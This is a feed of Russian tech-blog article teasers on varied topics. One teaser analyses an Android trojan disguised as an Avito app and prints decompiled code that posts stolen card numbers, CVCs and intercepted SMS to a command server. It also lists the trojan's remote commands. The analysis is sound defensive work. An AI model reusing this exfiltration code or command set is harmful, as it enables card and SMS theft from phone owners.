• Разбираемся в трендах веб-дизайна

    Несмотря на обилие в интернете разнообразных статей о направлениях веб-дизайна, разобраться в том, какой дизайн визуально устарел, а какой в тренде и почему, довольно нелегко. Для начала нужен глобальный взгляд на новейшую историю веб-дизайна, чтобы не запутаться в деталях. В этой статье рассказана краткая история визуальных направлений последних лет и даны их ключевые отличительные признаки.

    Речь здесь пойдет именно о визуальной эволюции веб-дизайна, с небольшой оглядкой на вехи в развитии технологий. Дело в том, что, хотя влияние технологий заметно, оно не является определяющим. Например, и скевоморфный, и «плоский» дизайн можно сделать, применяя один и тот же стек технологий.

    Итак, поехали.
    Читать дальше →
  • Автоматизация публикации приложения в Google Play — прямо из Android Studio

      Всем привет! Пол года назад на хабре была статья о том, как автоматизировать загрузку обновлений приложения в Google Play. Первый комментарий к статье и ответ на него гласил одну неприятную вещь:



      Но я с радостью готов сообщить, что это — не правда. Публиковать приложение прямо из Android Studio можно! Более того, можно делать это вообще без Android Studio на вашем CI — так как делаться это будет с помощью обычного Gradle task.
      Читать дальше →
    • Навыки .NET-разработчика



        Уверен, что разработчики часто задаются вопросом, какие их профессиональные навыки компании ценят больше всего. К примеру, при смене работы, или когда внезапно обнаруживают, что работают в компании так давно, что окружающий мир, скорее всего, ушел далеко вперед.

        Этой публикацией я начинаю цикл аналитических статей по анализу необходимых и востребованных навыков для различных специализаций на российском и зарубежном IT-рынке.
        Читать дальше →
      • Несколько полезных сервисов

          Хочу поделиться ссылками на несколько полезных сервисов. Некоторые из них помогут сэкономить время, другие — сделают за Вас незнакомую/нелюбимую работу. Список разбит по категориям, чтобы было легче ориентироваться.

          Сервисы опросов
          userreport.com (добавил Romanych)
          simpoll.ru
          webanketa.com (добавил mihass)

          Кнопки постинга в социальные сети
          Кнопка от Яндекса
          addthis.com (добавил UksusoFF)
          share42.com
          Читать дальше →
        • Природный генетический алгоритм или доказательство эволюции живых организмов на C++

          Введение


          Модели естественных вычислений широко применяются в современной науке. Область их применения очень обширна, они используются для решения задач моделирования, искусственного интеллекта, распознавания образов, управления.

          Одним из наиболее распространенных методов естественных вычислений являются генетические алгоритмы. Чтобы лучше разобраться, как эти алгоритмы устроены и как работают, было решно воспроизвести один из таких алгоритмов — генетический. Для того, чтобы применять какой-либо метод для решения конкретных задач этот метод необходимо освоить. Поэтому генетический алгоритм, рассмотренный в данной работе, не решает никакой конкретной задачи. Главными являются одновременно процесс и результат работы по созданию программы по моделированию и визуализации работы генетического алгоритма. Важен полученный программистский опыт.
          Программа моделирует поведение популяции самых примитивных живых организмов. Эта программа вряд ли будет иметь какое-либо практическое применение, но она наглядно иллюстрирует принцип работы генетических алгоритмов.

          Моделирование работы генетического алгоритма, в котором естественный отбор определяется условиями среды


          Моделирование – метод научного познания объективного мира через построение и изучение моделей.

          Визуализация – один из наиболее удобных для человека способов представления информации. Человеку удобнее воспринимать информацию, если она представлена графически, а не в виде большого массива ничего не значащих чисел, поэтому важной частью работы является графическое представление алгоритма.

          Прежде чем использовать какой-либо метод, его нужно изучить и апробировать сначала на относительно простой задаче возможно несколько раз. Для программиста таким изучением является написание конкретных программ.

          Для работы выбран язык программирования C++, так как этот язык является мощным, проверенным временем языком программирования. C++ получил широкое распространение среди программистов. Для визуализации использована открытая графическая библиотека OpenGL.
          Читать дальше →
        • Дайджест интересных материалов из мира веб-разработки и IT за последнюю неделю №170 (26 июля — 2 августа 2015)

            Предлагаем вашему вниманию подборку с ссылками на полезные ресурсы, интересные материалы и IT-новости.


            Читать дальше →
            • +21
            • 33,8k
            • 2
          • Велосипеды на Javascript и jQuery

            В очередной раз открыв код коллег и ужаснувшись, я решил написать эту статью. Надеюсь для кого-нибудь это будет полезным, заодно и мне будет проще новичкам объяснять что у них в коде не так, просто кинув ссылку на эту статью.
            Безусловно количество таких вещей очень и очень велико, поэтому в статье ограничусь лишь некоторыми.
            Читать дальше →
          • Разработка ММО РПГ – практическое руководство. Сервер (часть 1)

              Турель Аннигилятор
              • Игровой backend: из каких модулей он должен состоять?
              • Расчет параметров персонажа: виртуальные методы или сложение массивов?
              • Логика поведения: на каком уровне она должна находится?
              • Перемещение персонажей: кто этим должен управлять?

                      Сегодня мы продолжим знакомиться с разработкой и проектированием он-лайн игры на примере космической ММО RPG «Звездные Призраки». В этой статье речь пойдет о backend'е на С++ и она будет насквозь техническая.

                      В тексте будет много отсылок к функционалу «Звездных Призраков», но я постараюсь излагать материал так, чтобы вам не было нужды вникать (и играть) в наш продукт. Однако, для лучшего понимания материала желательно потратить пару минут и посмотреть, как это все выглядит.

                      В статье мы сосредоточимся именно на архитектурных решениях применительно к backend'у MMO RPG в реальном времени. Исходного кода будет не много и он точно не будет содержать таких специфических для С++ вещей как множественное наследование или шаблоны. Задача данной статьи помочь в проектировании игрового сервера и ознакомить всех желающих со спецификой игрового backend'а.

                      Описываемые решения достаточно универсальны и вполне подойдут для многих RPG. В качестве иллюстрации в конце статьи я приведу пример использования описанной архитектуры в игре «про эльфов».
              Далее
            • Как крадут деньги, которых нет. Или кое-что новенькое о криптовалютах

                Привет, Хабр!

                Безусловно, ты знаешь о криптовалютах очень много, но сегодня мы принесли тебе кое-что новенькое: исследование вредоноса, созданного для кражи кошельков 80 криптовалют, включая биткойн вместе со всеми реквизитами доступа к ним.

                Обнаружили мы его в ходе программы непрерывного мониторинга безопасности сети Интернет и тут же разобрали на запчасти несколько семплов вредоноса. Таких комбайнов по автоматизированному уводу криптокошельков у владельцев пока мало, но будет больше, мы уверены.

                Ниже мы расскажем о том, как вредонос работает, и как не оказаться в группе риска. И конечно ещё раз просуммируем информацию о самих криптомонетах и их родственниках.

                Кстати, финансовые регуляторы считают биткойн и всех его друзей валютными суррогатами, и мы ни в коем случае не пропагандируем их использование, а наоборот, призываем пользоваться фиатными деньгами как надёжным и стабильным платёжным инструментом. (Тут мог бы быть смайл)
                Читать дальше →
              • Переходим на HTTPS на Nginx: шпаргалка

                Уже второй раз сталкиваюсь с задачей «поставь https на наш сервер» от моего босса, поэтому решил сделать для самого себя шпаргалку, а заодно и для всех остальных. Итак, ситуация следующая: к нам пришел босс и заявил, что ему нужен https. Под катом я напишу 5 простых шагов, как все сделать буквально за час. Приступим.
                Читать дальше →
              • Краткий курс компьютерной графики, аддендум: ambient occlusion

                • Tutorial

                Official translation (with a bit of polishing) is available here.




                В кратком курсе компьютерной графики, что я предоставил вашему рассмотрению пару недель назад, мы пользовались методами локального освещения. Что это значит? Это значит, что интенсивность освещения каждой точки мы выбирали независимо от её соседей.

                Модель освещения Фонга — классический пример локального выбора:



                Финальная интенсивность складывается из трёх слагаемых: окружающее освещение, постоянное значение для всех точек сцены. Диффузное освещение и блики зависят от вектора нормали к данной точке и направления света, но не зависят от геометрии остальной части сцены. Давайте подумаем, а почему, собственно, окружающее освещение было выбрано постоянным для всей сцены?
                Читать дальше →
                • +29
                • 22,2k
                • 7
              • PC buyer's guide 2015: Материнские платы, чипсеты и сокеты

                  Кризис кризисом, а «железо» рано или поздно обновлять надо. Иногда просто потому, что производительности не хватает, а иногда и по более печальным причинам: например, что-то померло, а покупать под старое железо новый процессор по текущим ценам может показаться сумасшествием — проще уж всё сразу обновить и забыть про эту проблему на несколько лет.



                  Так или иначе, если вы не следите за железом каждый месяц, не сидите на профильных ресурсах или просто ваш удел — софт, а не хард, правильно подобрать комплектующие бывает довольно сложно. Мы подготовили для вас целый цикл статей, благодаря которому каждый сможет как более-менее разобраться в актуальном состоянии рынка компьютерных запчастей, так и выбрать себе нового железного коня по средствам и потребностям.
                  Читать дальше →
                • Эмуляция банковской карты на телефоне



                    HCE (Host-based Card Emulation) – это технология, которая дает возможность писать софт, не требующий для исполнения выделенного криптопроцессора, чтобы обеспечить сеанс связи с платежным терминалом. Приложение исполняется на основном процессоре мобильного устройства, в окружении операционной системы телефона.

                    HCE для NFC имеет открытую архитектуру, что позволяет эмулировать не только банковские карты, но и карты программ лояльности, транспортные карты, пропуска и так далее. Технология позволяет заметно ускорить процесс внедрения платежных NFC-сервисов, потому что не нужно координировать и согласовывать действия с производителями телефонов, кроме того, решаются многие проблемы совместимости.

                    Мы сделали такой HC-эмулятор в своём приложении. До появления технологии HCE информацию для осуществления NFC-транзакций в мобильных устройствах можно было хранить тремя способами: либо на SIM-карте (принцип SIM centric NFC), либо в специальном элементе на телефоне (Embeded Secure Elements, eSE), либо на специальной MicroSD.
                    Читать дальше →
                  • Седьмая ежегодная Летняя школа Microsoft Research. На этот раз про машинное обучение и интеллект

                      Привет!

                      29 июля, в очередной, уже седьмой раз, в Санкт-Петербурге откроется ежегодная Летняя школа Microsoft Research. На этот раз тема школы – машинное обучение и интеллект. В программу школы включены лекции и семинары ученых мирового уровня из ведущих университетов со всего мира, в том числе из России, а также исследователей Microsoft Research. Руководитель школы – Эвелин Виегас, директор направления «семантические вычисления» Microsoft Research Redmond. Подробности под катом.


                      Читать дальше →
                    • Что каждый программист должен знать про оптимизации компилятора

                      • Перевод
                      Высокоуровневые языки программирования содержат в себе много абстрактных программистских конструкций, таких как функции, условные операторы и циклы — они делают нас удивительно продуктивными. Однако одним из недостатков написания кода на высокоуровневом языке является потенциальное значительное снижение скорости работы программы. Поэтому компиляторы стараются автоматически оптимизировать код и увеличить скорость работы. В наши дни логика оптимизации стала очень сложной: компиляторы преобразуют циклы, условные выражения и рекурсивные функции; удаляют целые блоки кода. Они оптимизируют код под процессорную архитектуру, чтобы сделать его действительно быстрым и компактным. И это очень здорово, ведь лучше фокусироваться на написании читабельного кода, чем заниматься ручными оптимизациями, которые будет сложно понимать и поддерживать. Кроме того, ручные оптимизации могут помешать компилятору выполнить дополнительные и более эффективные автоматические оптимизации. Вместо того чтобы писать оптимизации руками, лучше бы сосредоточиться на дизайне архитектуры и на эффективных алгоритмах, включая параллелизм и использование особенностей библиотек.

                      Данная статья посвящена оптимизациям компилятора Visual C++. Я собираюсь обсудить наиболее важные техники оптимизаций и решения, которые приходится применить компилятору, чтобы правильно их применить. Моя цель не в том, чтобы рассказать вам как вручную оптимизировать код, а в том, чтобы показать, почему стоит доверять компилятору оптимизировать ваш код самостоятельно.
                      Читать дальше →
                      • +38
                      • 62,9k
                      • 4
                    • Как узнать местоположение пользователя, зная только его email-адрес

                        В статье описан очень простой и банальный метод, позволяющий определить IP-адрес получателя письма. Как все мы с вами знаем — имея IP-адрес, вычислить скрытую за ним персону не составит труда, особенно если вы сотрудник министерства Правды.

                        Статья не откроет ничего нового для людей, знакомых с принципом работы HTML, HTTP и почтовых клиентов, но, возможно, покажет, как этим можно пользоваться с другой точки зрения. Для “просто”-пользователей ПО, мобильных устройств и электронной почты статья может показать на сколько важно соблюдать интернет-гигиену и оберегать свои персональные данные (к которым относиться email-адрес) в сети «Интернет».
                        Читать дальше →
                      • Как работает мозг?

                          Этот пост написан по мотивам лекции Джеймса Смита, профессора Висконсинского университета в Мадисоне, специализирующегося в микроэлектронике и архитектуре вычислительных машин.

                          История компьютерных наук в целом сводится к тому, что учёные пытаются понять, как работает человеческий мозг, и воссоздать нечто аналогичное по своим возможностям. Как именно учёные его исследуют? Представим, что в XXI веке на Землю прилетают инопланетяне, никогда не видевшие привычных нам компьютеров, и пытаются исследовать устройство такого компьютера. Скорее всего, они начнут с измерения напряжений на проводниках, и обнаружат, что данные передаются в двоичном виде: точное значение напряжения не важно, важно только его наличие либо отсутствие. Затем, возможно, они поймут, что все электронные схемы составлены из одинаковых «логических вентилей», у которых есть вход и выход, и сигнал внутри схемы всегда передаётся в одном направлении. Если инопланетяне достаточно сообразительные, то они смогут разобраться, как работают комбинационные схемы — одних их достаточно, чтобы построить сравнительно сложные вычислительные устройства. Может быть, инопланетяне разгадают роль тактового сигнала и обратной связи; но вряд ли они смогут, изучая современный процессор, распознать в нём фон-неймановскую архитектуру с общей памятью, счётчиком команд, набором регистров и т.п. Дело в том, что по итогам сорока лет погони за производительностью в процессорах появилась целая иерархия «памятей» с хитроумными протоколами синхронизации между ними; несколько параллельных конвейеров, снабжённых предсказателями переходов, так что понятие «счётчика команд» фактически теряет смысл; с каждой командой связано собственное содержимое регистров, и т.д. Для реализации микропроцессора достаточно нескольких тысяч транзисторов; чтобы его производительность достигла привычного нам уровня, требуются сотни миллионов. Смысл этого примера в том, что для ответа на вопрос «как работает компьютер?» не нужно разбираться в работе сотен миллионов транзисторов: они лишь заслоняют собой простую идею, лежащую в основе архитектуры наших ЭВМ.

                          Моделирование нейронов


                          Кора человеческого мозга состоит из порядка ста миллиардов нейронов. Исторически сложилось так, что учёные, исследующие работу мозга, пытались охватить своей теорией всю эту колоссальную конструкцию. Строение мозга описано иерархически: кора состоит из долей, доли — из «гиперколонок», те — из «миниколонок»… Миниколонка состоит из примерно сотни отдельных нейронов.



                          По аналогии с устройством компьютера, абсолютное большинство этих нейронов нужны для скорости и эффективности работы, для устойчивости ко сбоям, и т.п.; но основные принципы устройства мозга так же невозможно обнаружить при помощи микроскопа, как невозможно обнаружить счётчик команд, рассматривая под микроскопом микропроцессор. Поэтому более плодотворный подход — попытаться понять устройство мозга на самом низком уровне, на уровне отдельных нейронов и их колонок; и затем, опираясь на их свойства — попытаться предположить, как мог бы работать мозг целиком. Примерно так пришельцы, поняв работу логических вентилей, могли бы со временем составить из них простейший процессор, — и убедиться, что он эквивалентен по своим способностям настоящим процессорам, даже хотя те намного сложнее и мощнее.
                          Читать дальше →
                        • Как я позорно деактивировал ботнет

                            image

                            Разместил я, ничего не подозревая, объявление на avito.ru. Сколько раз туда ходил! Но на этот раз как-то не удалось…
                            Я давно был уверен, что многие нехорошие люди парсят телефонные номера с этого сайта, так что такси, строительные материалы, скорая компьютерная помощь, «8-800-555-3-555 — проще позвонить, чем у кого-то занимать» и приглашения на битву экстрасенсов для меня уже привычное дело, но на этот раз было нечто новое.

                            Приходит мне СМС-сообщение с текстом: «Зaинтерсoвaлo вaше oбьявление кaк нaсчет oбменa нa http://…». Прямо вот так, с пропущенным знаком препинания и ошибками. А по ссылке качается avito.apk. Интересно.

                            Исследование APK


                            Ну, подумал я, надо бы глянуть, что этот APK делает. Результат привычной для меня связки из apktool + dex2jar + jd-gui меня не удовлетворил, т.к. не было видно часть классов деревом, хотя доступ по ссылкам к ним получить было можно. Решил я воспользоваться новомодными онлайн-sandbox'ами — и декомпилированный код получил, и информацию, и pcap-файл со сдампленным трафиком. Как оказалось, этот файл загружали до меня, поэтому в мои руки попал более ранний анализ, что было достаточно полезно.

                            Итак, что умеет этот троян:
                            • delivery&&& — рассылка СМС-сообщений на номера из телефонной книги с заданным текстом
                            • sent&&& — отправка заданных СМС-сообщений с сервера
                            • rent&&& — перехват всех СМС-сообщений и отправка их на сервер
                            • sms_stop&&& — отмена перехвата СМС-сообщений
                            • ussd&&& — USSD-запрос
                            • call_1&&& — установка и отмена безусловной переадресации

                            Немного кода из моих заметок
                            protected HttpRequestBase a()
                                {
                                    try
                                    {
                                        HttpPost httppost = new HttpPost(d());
                                        ArrayList arraylist = new ArrayList();
                                        arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(c())));
                                        arraylist.add(new BasicNameValuePair("number", b));
                                        arraylist.add(new BasicNameValuePair("month", Integer.toString(c.intValue())));
                                        arraylist.add(new BasicNameValuePair("year", Integer.toString(d.intValue())));
                                        arraylist.add(new BasicNameValuePair("cvc", Integer.toString(e.intValue())));
                                        httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
                                        return httppost;
                                    }
                                    catch(UnsupportedEncodingException unsupportedencodingexception)
                                    {
                                        unsupportedencodingexception.printStackTrace();
                                    }
                                    return null;
                                }
                            
                                protected String d()
                                {
                                    return new String((new StringBuilder()).append(a).append("set_card.php").toString());
                                }
                            
                            
                            
                            
                            
                            
                                protected HttpRequestBase a()
                                {
                                    try
                                    {
                                        HttpPost httppost = new HttpPost(d());
                                        ArrayList arraylist = new ArrayList();
                                        arraylist.add(new BasicNameValuePair("id", com.avito.a.c.a(b)));
                                        arraylist.add(new BasicNameValuePair("info", com.avito.a.c.b(b)));
                                        httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
                                        return httppost;
                                    }
                                    catch(UnsupportedEncodingException unsupportedencodingexception)
                                    {
                                        unsupportedencodingexception.printStackTrace();
                                    }
                                    return null;
                                }
                            
                                protected String d()
                                {
                                    return new String((new StringBuilder()).append(a).append("get.php").toString());
                                }
                            
                            
                            
                            
                                protected HttpRequestBase a()
                                {
                                    try
                                    {
                                        JSONObject jsonobject = new JSONObject();
                                        jsonobject.put("text", c);
                                        jsonobject.put("number", d);
                                        jsonobject.put("date", e);
                                        HttpPost httppost = new HttpPost(d());
                                        ArrayList arraylist = new ArrayList();
                                        arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(b)));
                                        arraylist.add(new BasicNameValuePair("sms", jsonobject.toString()));
                                        httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
                                        return httppost;
                                    }
                                    catch(UnsupportedEncodingException unsupportedencodingexception)
                                    {
                                        unsupportedencodingexception.printStackTrace();
                                    }
                                    catch(JSONException jsonexception)
                                    {
                                        jsonexception.printStackTrace();
                                    }
                                    return null;
                                }
                            
                                protected String d()
                                {
                                    return new String((new StringBuilder()).append(a).append("load_sms.php").toString());
                            


                            Помимо этих команд, троян отключает Wifi Sleep, пытается получить доступ к зашифрованному хранилищу и установить себя в качестве Android-администратора (естественно, при этом используются стандартные диалоги ОС, где можно отменить данное действие). Код трояна не обфусцирован, некоторые строки закодированы base64. Вообще непонятно, что это за троян такой. То ли его собирали копипастой, то ли он основан на каком-то другом трояне, то ли еще что, но в нем имеются строки на португальском, немецком, английском, Ubuntu-шрифты, форма для перехвата данных из приложения немецкого банка Commerzbank, значок какой-то игры и флеш-плеера.
                            Читать дальше →
                          • Кош на комплексной плоскости

                              В какой-то из весенних дней этого года я ехал в троллейбусе и листал комикс о Коше. В одном из выпусков была такая фраза «НО! Её можно понять, она же фракталами в горизонт перетекает, я бы тоже замешкался...». После этого я посмотрел в окно и понял, что если мы возьмём два подходящих дробно-линейных преобразования комплексной плоскости a(z) и b(z), и рассмотрим систему итерированных функций для a(z), b(z), a−1(z), b−1(z), взяв в качестве начального множества картинку с Кошем, то Кош будет перетекать фракталами в горизонт!

                              И вот несколько дней назад у меня дошли руки, чтобы написать нужный скрипт на питоне. Результаты мне и моим друзьям понравились, и я решил написать эту хабрастатью.

                              Итак, если вы хотите узнать, что такое дробно-линейные преобразования комплексной плоскости, и как с помощью них получать фрактальные картинки, то добро пожаловать под хабракат. Там будет немножко бесполезной математики и много гифок.



                              Читать дальше →
                            • Как не остаться голодным или безлимитный проход в столовую


                              Всем привет.

                              Хочу поделиться одной ситуационной проблемой, которая возникла в ходе моего пребывания на проходящем в Калининградской области международном форуме и ее решением в стиле голодного IT'шника.

                              Пост будет о том, как удалось обойти лимит на одну порцию, установленный в столовой.
                              Как не остаться голодным?